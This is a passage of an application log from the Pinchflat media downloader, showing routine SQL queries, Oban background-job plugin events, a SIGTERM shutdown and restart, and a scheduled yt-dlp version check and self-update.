queue=0.4ms idle=500.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:27:16.174 [debug] QUERY OK source="settings" db=0.5ms idle=34.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:27:16.175 [debug] QUERY OK source="settings" db=0.2ms idle=34.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:27:16.176 [debug] QUERY OK source="settings" db=0.5ms idle=34.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:27:16.177 [debug] QUERY OK source="tasks" db=0.3ms idle=4.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 23:27:16.178 [debug] QUERY OK source="media_items" db=0.2ms queue=0.4ms idle=3.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:27:16.181 [debug] QUERY OK source="media_items" db=2.9ms queue=0.3ms idle=3.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:27:16.189 [debug] QUERY OK source="media_items" db=7.1ms queue=0.3ms idle=7.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 23:27:16.192 [debug] QUERY OK source="media_items" db=1.4ms queue=0.7ms idle=14.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:27:16.193 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=15.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:27:16.195 [info] Sent 200 in 56ms 23:27:29.432 [info] {"source":"oban","duration":835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:27:59.434 [info] {"source":"oban","duration":1143,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:28:00.411 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:28:29.436 [info] {"source":"oban","duration":827,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:28:59.438 [info] {"source":"oban","duration":821,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:29:00.413 [info] {"source":"oban","duration":240,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:29:29.440 [info] {"source":"oban","duration":1028,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:29:59.442 [info] {"source":"oban","duration":1069,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:30:00.414 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:30:29.444 [info] {"source":"oban","duration":802,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:30:59.446 [info] {"source":"oban","duration":843,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:31:00.415 [info] {"source":"oban","duration":742,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:31:29.448 [info] {"source":"oban","duration":836,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:31:59.450 [info] {"source":"oban","duration":987,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:32:00.417 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:32:29.452 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:32:59.453 [info] {"source":"oban","duration":844,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:33:00.421 [info] {"source":"oban","duration":3435,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:33:29.455 [info] {"source":"oban","duration":800,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:33:59.458 [info] {"source":"oban","duration":1372,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:34:00.422 [info] {"source":"oban","duration":563,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:34:29.459 [info] {"source":"oban","duration":852,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:34:59.461 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:35:00.424 [info] {"source":"oban","duration":467,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:35:29.462 [info] {"source":"oban","duration":1012,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:35:59.464 [info] {"source":"oban","duration":843,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:36:00.425 [info] {"source":"oban","duration":251,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:36:29.466 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:36:34.244 [info] GET / 23:36:34.244 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 23:36:34.244 [debug] QUERY OK source="settings" db=0.3ms idle=1568.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:36:34.245 [debug] QUERY OK source="media_profiles" db=0.4ms idle=1569.0ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 23:36:34.245 [debug] QUERY OK source="sources" db=0.1ms queue=0.1ms idle=1569.6ms SELECT count(s0."id") FROM "sources" AS s0 [] 23:36:34.249 [debug] QUERY OK source="media_items" db=3.2ms idle=1551.1ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:36:34.250 [debug] QUERY OK source="media_items" db=0.9ms idle=552.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:36:34.251 [debug] QUERY OK source="settings" db=0.5ms idle=5.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:36:34.251 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=5.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:36:34.252 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:36:34.253 [debug] QUERY OK source="tasks" db=0.3ms idle=4.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 23:36:34.254 [debug] QUERY OK source="media_items" db=0.4ms idle=4.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:36:34.256 [debug] QUERY OK source="media_items" db=2.1ms idle=3.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:36:34.258 [debug] QUERY OK source="media_items" db=1.5ms idle=5.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 23:36:34.259 [debug] QUERY OK source="media_items" db=0.6ms idle=6.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:36:34.260 [debug] QUERY OK source="sources" db=0.4ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:36:34.261 [info] Sent 200 in 17ms 23:36:59.468 [info] {"source":"oban","duration":834,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:37:00.426 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:37:29.470 [info] {"source":"oban","duration":909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:37:59.472 [info] {"source":"oban","duration":1051,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:38:00.427 [info] {"source":"oban","duration":329,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:38:29.474 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:38:59.476 [info] {"source":"oban","duration":1216,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:39:00.429 [info] {"source":"oban","duration":483,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:39:29.478 [info] {"source":"oban","duration":869,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:39:59.480 [info] {"source":"oban","duration":770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:40:00.431 [info] {"source":"oban","duration":856,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:40:29.482 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:40:59.483 [info] {"source":"oban","duration":842,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:41:00.433 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:41:29.485 [info] {"source":"oban","duration":930,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:41:59.487 [info] {"source":"oban","duration":1105,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:42:00.434 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:42:29.489 [info] {"source":"oban","duration":1004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:42:59.492 [info] {"source":"oban","duration":1495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:43:00.436 [info] {"source":"oban","duration":893,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:43:29.493 [info] {"source":"oban","duration":836,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:43:59.495 [info] {"source":"oban","duration":758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:44:00.438 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:44:29.497 [info] {"source":"oban","duration":839,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:44:59.499 [info] {"source":"oban","duration":896,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:45:00.442 [info] {"source":"oban","duration":2608,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:45:29.501 [info] {"source":"oban","duration":835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:45:59.504 [info] {"source":"oban","duration":1983,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:46:00.443 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:46:29.506 [info] {"source":"oban","duration":892,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:46:59.509 [info] {"source":"oban","duration":1294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:47:00.445 [info] {"source":"oban","duration":290,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:47:29.511 [info] {"source":"oban","duration":1469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:47:59.513 [info] {"source":"oban","duration":1255,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:48:00.447 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:48:29.515 [info] {"source":"oban","duration":1226,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:48:59.516 [info] {"source":"oban","duration":1053,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:49:00.449 [info] {"source":"oban","duration":553,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:49:29.519 [info] {"source":"oban","duration":1959,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:49:59.521 [info] {"source":"oban","duration":1099,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:50:00.450 [info] {"source":"oban","duration":854,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:50:29.524 [info] {"source":"oban","duration":1242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:50:59.526 [info] {"source":"oban","duration":1422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:51:00.452 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:51:29.527 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:51:59.528 [info] {"source":"oban","duration":955,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:52:00.454 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:52:29.530 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:52:59.533 [info] {"source":"oban","duration":1412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:53:00.456 [info] {"source":"oban","duration":1040,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:53:29.535 [info] {"source":"oban","duration":1316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:53:59.537 [info] {"source":"oban","duration":1304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:54:00.457 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:54:29.539 [info] {"source":"oban","duration":1414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:54:59.540 [info] {"source":"oban","duration":1065,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:55:00.459 [info] {"source":"oban","duration":1536,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:55:29.542 [info] {"source":"oban","duration":902,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:55:48.633 [notice] SIGTERM received - shutting down 23:55:48.633 [info] DRAINING 1 of 1 total connection(s) for socket Phoenix.LiveView.Socket every 2000ms - round 1 of 1 23:55:48.704 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 23:56:20.932 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 23:56:20.936 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 23:56:20.932 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 23:56:20.946 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 23:56:20.953 [debug] QUERY OK source="oban_jobs" db=5.8ms queue=22.0ms idle=0.0ms UPDATE "oban_jobs" AS o0 SET "state" = ? WHERE (o0."state" = 'executing') ["retryable"] 23:56:20.958 [info] Reset 0 executing jobs 23:56:20.958 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 23:56:20.964 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version 23:56:23.008 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version exited: 0 with: 2025.09.26 23:56:23.008 [info] [command_wrapper]: /usr/local/bin/apprise called with: --version 23:56:23.358 [debug] [command_wrapper]: /usr/local/bin/apprise called with: --version exited: 0 with: Apprise v1.9.4 Copyright (C) 2025 Chris Caron This code is licensed under the BSD 2-Clause License. 23:56:23.361 [debug] QUERY OK source="settings" db=1.1ms queue=1.0ms idle=436.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:56:23.365 [debug] QUERY OK source="settings" db=3.6ms idle=439.0ms UPDATE "settings" SET "yt_dlp_version" = ? WHERE "id" = ? ["2025.09.26", 1] 23:56:23.365 [debug] QUERY OK source="settings" db=0.6ms idle=442.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:56:23.368 [info] User scripts lifecyle file either not present or is empty. Skipping. 23:56:23.371 [info] {"message":"notifier only receiving messages from its own node, functionality may be degraded","source":"oban","event":"notifier:switch","connectivity_status":"solitary"} 23:56:23.379 [info] Running PinchflatWeb.Endpoint with cowboy 2.13.0 at 0.0.0.0:8945 (http) 23:56:23.383 [info] Access PinchflatWeb.Endpoint at http://localhost:8945 23:56:23.393 [info] {"args":{},"id":254,"meta":{},"system_time":1774162583392818656,"max_attempts":20,"queue":"local_data","worker":"Pinchflat.YtDlp.UpdateWorker","source":"oban","event":"job:start","attempt":1,"tags":["local_data"]} 23:56:23.393 [info] Updating yt-dlp 23:56:23.393 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --update 23:56:26.297 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --update exited: 0 with: Current version: stable@2025.09.26 from yt-dlp/yt-dlp Latest version: stable@2026.03.17 from yt-dlp/yt-dlp Current Build Hash: d2f07382138f4bd882254996502636f5a67a8c5ee5ab8a25807e2784a4878642 Updating to stable@2026.03.17 from yt-dlp/yt-dlp ... Updated yt-dlp to stable@2026.03.17 from yt-dlp/yt-dlp 23:56:26.297 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version 23:56:27.678 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version exited: 0 with: 2026.03.17 23:56:27.681 [debug] QUERY OK source="settings" db=0.9ms queue=2.1ms idle=749.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", 